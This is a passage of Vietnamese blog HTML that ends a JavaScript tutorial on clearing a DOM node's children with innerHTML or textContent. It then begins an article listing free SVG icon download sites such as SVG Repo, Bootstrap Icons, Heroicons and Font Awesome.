punctuation">}</span></code></pre></div> <h2 id="sử-dụng-innerhtml" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-innerhtml" aria-label="sử dụng innerhtml permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>innerHTML</code></h2> <p>Đây là cách đơn giản hơn để xóa hết các phần tử con của DOM node trong JavaScript:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query để tìm DOM node cần xóa các phần tử con</span> <span class="token keyword">let</span> e <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"ul"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán innerHTML bằng empty string</span> e<span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span></code></pre></div> <h2 id="sử-dụng-textcontent" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-textcontent" aria-label="sử dụng textcontent permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>textContent</code></h2> <p>Thay vì dùng <code>innerHTML</code>, bạn cũng có thể sử dụng <code>textContent</code> để xóa hết các phần tử con của DOM node trong JavaScript:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// query để tìm DOM node cần xóa các phần tử con</span> <span class="token keyword">let</span> e <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">"ul"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// gán textContent bằng empty string</span> e<span class="token punctuation">.</span>textContent <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/co-ban-ve-dom-javascript/">DOM là gì?</a></li> <li><a href="https://www.geeksforgeeks.org/remove-all-the-child-elements-of-a-dom-node-in-javascript/">Remove all the child elements of a DOM node in JavaScript</a></li> <li><a href="https://javascript.plainenglish.io/how-to-remove-all-child-elements-of-a-dom-node-in-javascript-2773cb6d2600">How to Remove All Child Elements of a DOM Node in JavaScript?</a></li> </ul>[email protected]<![CDATA[18 trang web tải free icon SVG cho cá nhân và thương mại]]><![CDATA[Như bạn đã biết, hiện tại có rất nhiều loại thiết bị điện tử khác nhau, kích thước khác nhau, độ phân giải khác nhau. Nếu chỉ sử dụng ảnh độ phân giải nhỏ thì khi đưa lên màn hình…]]>https://completejavascript.com/web-tai-free-icon-svg/https://completejavascript.com/web-tai-free-icon-svg/<![CDATA[Icon]]>Tue, 12 Oct 2021 22:00:00 GMT<p>Như bạn đã biết, hiện tại có rất nhiều loại thiết bị điện tử khác nhau, kích thước khác nhau, độ phân giải khác nhau. Nếu chỉ sử dụng ảnh độ phân giải nhỏ thì khi đưa lên màn hình độ phân giải cao, ảnh đó sẽ bị vỡ và mờ. Ngược lại, nếu chỉ sử dụng ảnh chất lượng cao thì dung lượng trang lại lớn. Để giải quyết vấn đề này, ta có thể sử dụng ảnh SVG. Vậy ảnh SVG là gì? Tại sao nên dùng ảnh SVG? Bài viết này sẽ giải đáp lý do tại sao và tổng hợp 18 trang tải free icon SVG cho các dự án cá nhân và thương mại.</p> <h2 id="ảnh-svg-là-gì" style="position:relative;"><a href="#%E1%BA%A3nh-svg-l%C3%A0-g%C3%AC" aria-label="ảnh svg là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ảnh SVG là gì?</h2> <p>Ảnh SVG (Scalable Vector Graphics) là định dạng ảnh vector dùng để hiển thị các đối tượng đồ họa hai chiều.</p> <p>SVG được viết dựa trên cú pháp XML và có thể co dãn thoải mái mà không làm giảm chất lượng ảnh.</p> <h2 id="tại-sao-nên-dùng-ảnh-svg" style="position:relative;"><a href="#t%E1%BA%A1i-sao-n%C3%AAn-d%C3%B9ng-%E1%BA%A3nh-svg" aria-label="tại sao nên dùng ảnh svg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao nên dùng ảnh SVG?</h2> <p>SVG có rất nhiều ưu điểm như:</p> <ul> <li>Vì SVG được viết dựa trên XML nên nó có thể được tạo ra bằng bất kỳ trình soạn thảo nào.</li> <li>Kích thước file nhỏ, có thể nhúng trực tiếp vào HTML và được hỗ trợ bởi hầu hết các trình duyệt.</li> <li>Có thể làm ảnh động.</li> <li>Có thể co dãn thoải mái mà không làm giảm chất lượng hình ảnh.</li> </ul> <p>Rõ ràng, SVG có rất nhiều ưu điểm hơn so với các định dạng ảnh thông thường như PNG hay JPG.</p> <p>Để tạo ra ảnh SVG, bạn có thể dùng code trực tiếp. Tuy nhiên, để thuận tiện và đơn giản, bạn nên sử dụng công cụ đồ họa hỗ trợ tạo SVG thông qua việc vẽ. Như vậy sẽ giúp tiết kiệm thời gian và công sức hơn rất nhiều.</p> <p>Ngoài ra, nếu bạn là một lập trình viên web và không có kinh nghiệm về đồ họa, thì bạn có thể tham khảo các trang tải free icon SVG cực chất lượng sau đây.</p> <h2 id="tổng-hợp-các-trang-tải-free-icon-svg" style="position:relative;"><a href="#t%E1%BB%95ng-h%E1%BB%A3p-c%C3%A1c-trang-t%E1%BA%A3i-free-icon-svg" aria-label="tổng hợp các trang tải free icon svg permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng hợp các trang tải free icon SVG</h2> <p>Sau đây là danh sách 18 trang tải free icon SVG mà bạn có thể sử dụng cho các dự án cá nhân và thương mại. Tuy nhiên, bạn nên xem kỹ chính sách bản quyền của từng icon trước khi tải về sử dụng nhé.</p> <h3 id="svg-repo" style="position:relative;"><a href="#svg-repo" aria-label="svg repo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.svgrepo.com/">SVG Repo</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 58.18181818181818%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/klEQVQoz22RW2/TMBSA9/9feOFn7AEJBA9DiI1tZUDVjV7SNiWN0ySOb3HixNfEKSRCiCE+HVlHlj+d43MuwCmDCEfglKS5sfY8MQyD995Px9+cn3NBKEMYE8owoYTQknNKWVXVrZRK61bKMVGqbaWUahiGZ3IrlTbWOqetNdZpbZxzw/Bvkf9ygQmTU5GqqoQQWiuEeYHKHFLnuq7rneu891pbY5zWVjTKWmeMG2UQx0EQhGEIAIiiSMnmzbvPl6+uX7y8NMb1vWel6PseFizPaZaTLKMgQTlkowwhTNMUIVQURZIkbSvuZuuv8935fP746enLt8C53hibQxaD4pRikKCqbjHho3w4HJbLZRiG8fEYBNu65h+uFze3T+dheP32/ub2u/deKh0D+CPKomO+3YHkhGIAR9mYaVJjjPR9733vnFNS2mlzzlk3/t7Z6WXXdd73vwf2+BgGATge890u2W6TLCNKac4bxmohZFW1GFdCNFfvr9I0jWMwn8/3+z0AYJSDIAagyDKSZSSOIcZcayNEK4RsW9U0o2+MXa/XGGMIIQAgSRIIp7bv7pb7fbrbJQ8P6/v71WoVcd5AyBDiZSnKUnDeNE07m802m81isVitVofDIU3TUUYIU0JZWRJC67rWWpdjTiiljJWUMs65Ugpj/OfeWmuM+SX/BAG1mzGZVGxqAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="SVG Repo" title="SVG Repo" src="/static/948d23c1ea5e837e4292f82717fc20b2/7c811/web-tai-free-icon-svg-svgrepo.png" srcset="/static/948d23c1ea5e837e4292f82717fc20b2/103f2/web-tai-free-icon-svg-svgrepo.png 165w, /static/948d23c1ea5e837e4292f82717fc20b2/748ba/web-tai-free-icon-svg-svgrepo.png 330w, /static/948d23c1ea5e837e4292f82717fc20b2/7c811/web-tai-free-icon-svg-svgrepo.png 660w, /static/948d23c1ea5e837e4292f82717fc20b2/d28e0/web-tai-free-icon-svg-svgrepo.png 990w, /static/948d23c1ea5e837e4292f82717fc20b2/bb51b/web-tai-free-icon-svg-svgrepo.png 1320w, /static/948d23c1ea5e837e4292f82717fc20b2/722fb/web-tai-free-icon-svg-svgrepo.png 1465w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="bootstrap-icons" style="position:relative;"><a href="#bootstrap-icons" aria-label="bootstrap icons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://icons.getbootstrap.com/">Bootstrap Icons</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 57.57575757575757%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVklEQVQoz41RW27cMAz0/Y/XoB8pcoDuep21LYnia8hWcgoUCNBmIAgcgkMNqaWRVM7GcfYsPWsfwd7yoDgo/40lMoF5Yp4ZOD6S/xGfpeSXAYRNRMQQb9sWfyMzPiFnMjPdnVlE1IHIXNbHZua3++P1x1tm3u6rmh9neX/ujvh5W1VtP86jVDPc7qs79uPcj+F3IepAMEupLSKJujvMXNWAmDdEVEQBMMsonnSILw+qxiIAzlJteOPaCBHP/TB3Ee1DhkbksxczXwural4bHWcBYn28q1qpbXs+gfj28r2zNKJGZI79rKreqJc6vnEBPrYCBAC14fOKZ3JA1aZ/F1V3VzNRjYilNjIbO6xE7ii1qXlnpj6GP2szd6LeiAedQ/XOnWW8XEpTNREdq0LU1q9e1Ef1oI7+h5ZKQ8zSWSJyUTUH4H59/XX7J+o+qnrnaxB3//3yLwqKv6+wqrkiAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bootstrap Icons" title="Bootstrap Icons" src="/static/3fba84fd8813a3ac0b45a70ddbf12308/7c811/web-tai-free-icon-svg-bootstrap.png" srcset="/static/3fba84fd8813a3ac0b45a70ddbf12308/103f2/web-tai-free-icon-svg-bootstrap.png 165w, /static/3fba84fd8813a3ac0b45a70ddbf12308/748ba/web-tai-free-icon-svg-bootstrap.png 330w, /static/3fba84fd8813a3ac0b45a70ddbf12308/7c811/web-tai-free-icon-svg-bootstrap.png 660w, /static/3fba84fd8813a3ac0b45a70ddbf12308/d28e0/web-tai-free-icon-svg-bootstrap.png 990w, /static/3fba84fd8813a3ac0b45a70ddbf12308/bb51b/web-tai-free-icon-svg-bootstrap.png 1320w, /static/3fba84fd8813a3ac0b45a70ddbf12308/1235c/web-tai-free-icon-svg-bootstrap.png 1506w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="heroicons" style="position:relative;"><a href="#heroicons" aria-label="heroicons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://heroicons.com/">Heroicons</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.03030303030304%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACNElEQVQoz3VQW08TQRjdP2NiUoICD/qkLxo1VoEIbY0GbYSgJohgBYzxAR68ETSCSltKKt6QGP6Cj76bmJjYFsRSdrZbSsl2t/PN5Rszu4CXxMl5OPnOnDPnG2MolLvVnB9tKYweLIwfXU33mpl+MtdnZq9Zc3Hy9kZ5cdheSlSWhjXmz1upTpKJWNlY+fUF2xgK5RLN+ZGWwlhb4U7byviRtUenig+OFafOlJ62bzwJl553my8jJBm10jEy22Gmz5FM9565KZc4kB9p1ea7h1buHV6dDBdnIuvTXevJixvT7aWZjlIyaqZjJNVtJjvJX+aBfd9v7s8Nh/KJpvxYa+F2KL88bv/44n77XPv6aXuhn7zqI+8H7exl69mJ0ouwOXvWTHWQ+S4rG7WNieOr90+uPTy99jj8c7K9ONVZnImVkj0b6biZiZvpHjNziWTjZOGK9aa3/K7fXrxqf7he+TiwuTxYNTyHOdtUo0brPvEcDq7U8CSjyP8PgzFgDCRKIbmUQkiBiGr3SCm4YIgSlYZSvyWllFHbqlW3ao7jOo5br7uOU3c9DwAalCIiAFQ2q3XXdXzJ8xoAQCmlAADM4JzLPw4i/sM55wHZk4QQATGUUgAsqMq54JwrpYQICAZcCKGUQkQh9FJ+I20xEJFSKqXUKYwxxv0UDsCCxcCf+vtLChCYKQUpfXOQF8g6xZeDnugPhR+tbwbDXVXXphR2a/OgNhfCr6CHjO28jIgNSndIQ3/nL/4ai7w7xLsnAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Heroicons" title="Heroicons" src="/static/13a249186aa60ed895b39844816b1d3c/7c811/web-tai-free-icon-svg-heroicons.png" srcset="/static/13a249186aa60ed895b39844816b1d3c/103f2/web-tai-free-icon-svg-heroicons.png 165w, /static/13a249186aa60ed895b39844816b1d3c/748ba/web-tai-free-icon-svg-heroicons.png 330w, /static/13a249186aa60ed895b39844816b1d3c/7c811/web-tai-free-icon-svg-heroicons.png 660w, /static/13a249186aa60ed895b39844816b1d3c/d28e0/web-tai-free-icon-svg-heroicons.png 990w, /static/13a249186aa60ed895b39844816b1d3c/bb51b/web-tai-free-icon-svg-heroicons.png 1320w, /static/13a249186aa60ed895b39844816b1d3c/23039/web-tai-free-icon-svg-heroicons.png 1402w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="font-awesome" style="position:relative;"><a href="#font-awesome" aria-label="font awesome permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://fontawesome.com/">Font Awesome</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 58.78787878787879%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQozyWSWW/TUBCF/f9/DA9ICAkEgoqKoCqlULWJ7SxN0tTr3de5a2X7dTRHc853ptDGgvPWQghx/fff6XL1IRoLQioLTluQ2oDzQipjwVjgQlpwQirCeIEwllLFlMD5nPPxdJFKc6GeNmVM+fx63Vb7mPLL+SKUQpjc3K5CTJuy/vnrd6G0kUpbcBacsdANozFWSNV0AzhPGSeMW3BtPwqltbFtP4D3mLB+QAWhjHExOZ/1j09bIXXT9h8+foop17tDudvHmG5Xd0IqTOjnr99jyvvjaf3wvxgxGRBZxMYCoXwOrJchl0pI5XzohlFIBW666XxgXCBMCy7kMl0ub7bV4u1pU6WUMaGI0Jjyze2q60djYbOtQkyXa7OtdoVUGhG6xDbWNd1gLGhju2F0PgyIDAj7ELoBSTVxHxAGcAvUgnHZj2guwoHzu8OLVFpIXdb7lPO22m3KOuf85+6+6Xrnw/548iEiQpu2LwjldOYJzkuln8taG8u4eGs7HyImbMTEhzAiorRR2rb9COC5kJiwgnJBGDd2EjMuv3z7QSgfMVnd3c/1vlb1IeX8XNaUcS7U+uFx5ocu16bAhL5em+WfwHnngwHQc2xtYPkqC05pYyyA8z7EpRdjYaLNuFhQT5n3x8m2kIeXc0z5re2ato8pHU+XZa3rB+fD5Jeyd7vHoiXsFrv+AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Font Awesome" title="Font Awesome" src="/static/8de1be6eac0924de150e197e42bad6bf/7c811/web-tai-free-icon-svg-fontawsome.png" srcset="/static/8de1be6eac0924de150e197e42bad6bf/103f2/web-tai-free-icon-svg-fontawsome.png 165w, /static/8de1be6eac0924de150e197e42bad6bf/748ba/web-tai-free-icon-svg-fontawsome.png 330w, /static/8de1be6eac0924de150e197e42bad6bf/7c811/web-tai-free-icon-svg-fontawsome.png 660w, /static/8de1be6eac0924de150e197e42bad6bf/d28e0/web-tai-free-icon-svg-fontawsome.png 990w, /static/8de1be6eac0924de150e197e42bad6bf/bb51b/web-tai-free-icon-svg-fontawsome.png 1320w, /static/8de1be6eac0924de150e197e42bad6bf/c3cd5/web-tai-free-icon-svg-fontawsome.png 1441w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="iconfinder" style="position:relative;"><a href="#iconfinder" aria-label="iconfinder permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.iconfinder.com/search?q=&#x26;price=free&#x26;ref=lam-pham-1">IconFinder</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 55.757575757575765%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACEUlEQVQoz32Ry05TYRSFz9PhkJGv4MQHcOZAm8iUAZoqBgYaSQyQCIGENJGKxkiBQilSWmnPsTd6++/3y9mmMPcbrcHaK2tlJ1m3m2Z/22mmlMZMIMqnmBEmhFRCasrEDBEupNKKC8G5MNbeC04ZS7Q2xhgAkFLejUaEMuc9/JcYI+ecC5FMyRwAwBjXr64bzRbnQiktpZRK6nm2Nloppe61UUpJKRFCGOOEScmFeIgMIYYQvffWeWvd3Gudd5ZI45wbj8fjycRaF+7R2iRjgjHCD2Wybr/eaCFMuZCvi6uC8yH3z0pk9UxEq7//+HlcOQkx39zcWlh41OsPEsbEYHiX53kOoClC/ZRRYqxpN39DHol0b051c2qjt7X6VfX8AgC+7Oy+LBRygERIPUXE+5Dn8XPLLtdcxmIjQ8s7raP6XfBu2Ot6Z52PZj7EhphPJtPBYOh9SJDghLAYPLfx6aF88lVuNM23avfx0tGncqoE+/Bx4/yi5n1Q2iil8xwOy+V3q+9nCCeE0nanQwjxIa5fm+cVczpyzS5Z2b89+zMDmM+hlBnrXIjGhxBhhlDt8hJhkkilEaHWzX87I6rdZwDQ6w/anRQRYq0rFt/+Oq4AAD/Y5gfbMea37fT0rOpDTIx1lPGH43J1srJ5GwAqJ5W1tfXGzU0nzRYXF1+8WgKChqW91u4ejEf7pVKhUGBc/APrNVR9toi0oAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="IconFinder" title="IconFinder" src="/static/7d3deda7fd47d85a74f4b462f81b129a/7c811/web-tai-free-icon-svg-iconfinder.png" srcset="/static/7d3deda7fd47d85a74f4b462f81b129a/103f2/web-tai-free-icon-svg-iconfinder.png 165w, /static/7d3deda7fd47d85a74f4b462f81b129a/748ba/web-tai-free-icon-svg-iconfinder.png 330w, /static/7d3deda7fd47d85a74f4b462f81b129a/7c811/web-tai-free-icon-svg-iconfinder.png 660w, /static/7d3deda7fd47d85a74f4b462f81b129a/d28e0/web-tai-free-icon-svg-iconfinder.png 990w, /static/7d3deda7fd47d85a74f4b462f81b129a/bb51b/web-tai-free-icon-svg-iconfinder.png 1320w, /static/7d3deda7fd47d85a74f4b462f81b129a/ad2a0/web-tai-free-icon-svg-iconfinder.png 1490w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="typicons" style="position:relative;"><a href="#typicons" aria-label="typicons permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.s-ings.com/typicons/">Typicons</a></h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 79.39393939393939%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAADXUlEQVQozzXO2W/aBgDHcf91m8pl8IVPjiXbekDBNr5PSCM1a9RK/T+qNioh3ImxsTH3sSprSKUxMmkPm7SnPk+omvR5+L78pB8AW79j1R1q76jTP47PH/Jn++zZ/ujVPvdy/+P5IfJnBz/8sj8+f3jy5s/Hrx/Q6g6yd7C9A1LGl0fS9nvhLiLdIdY9bN5DxhYytrCxhc0tbN5B+v+Mz7DxGdJ/S6q33wCQdlt4c8++/fL4/A6UN0l5A8prUFompGVCXCTEeVycxYVprDKJ8uMoF0a5UZQLolwQYYcAbt/Ob//56++v7upfwvqVsjd0bUNV16S1ouwVaS5pe0mac1AYx/lRjB/F+SDG+5HyMM55ACivYXWD6GvC3mDGCtWWiLqAlDmszmBlCikTUAgRZZwUQ0gawfIozg8TvIfKfox1AUhZHb/8RFXXT159oqrL3ItVtrbMnSyztQWmjQljgiohLI0w5QBVgrQakHpAmwEquUBSXuRO1rgx/yZTm1PWjLKmRy/mudqUNMa0OYZFH1MCRBqmKi5p+KQ+xGSX0j0gIU5pe8FU56g2yVZn+ZM5Y09pa5K1J8en059Op4wVZu0RoQ0Z089YPql7aXmQVhxEvAbilTBXOwxwfZxWw7QaQqJP6qOcHTJmQBk+rg5R2cWkAW14jOER6oDSHVy+gbgeEOeD/MmMsca4PqLMMGuH+dqYNgLa9LPVAJNdUnMR0UnLDq44pOJgYp9QrnOGg0s9IMYOGWucsULKCHDNpw2fMX1K92hjSGguLFzT+oBUb2jNQYQeWunh0gEqdBC+DUTLLmUEmOJRuo9rHqm5hOoS6oBUD99o7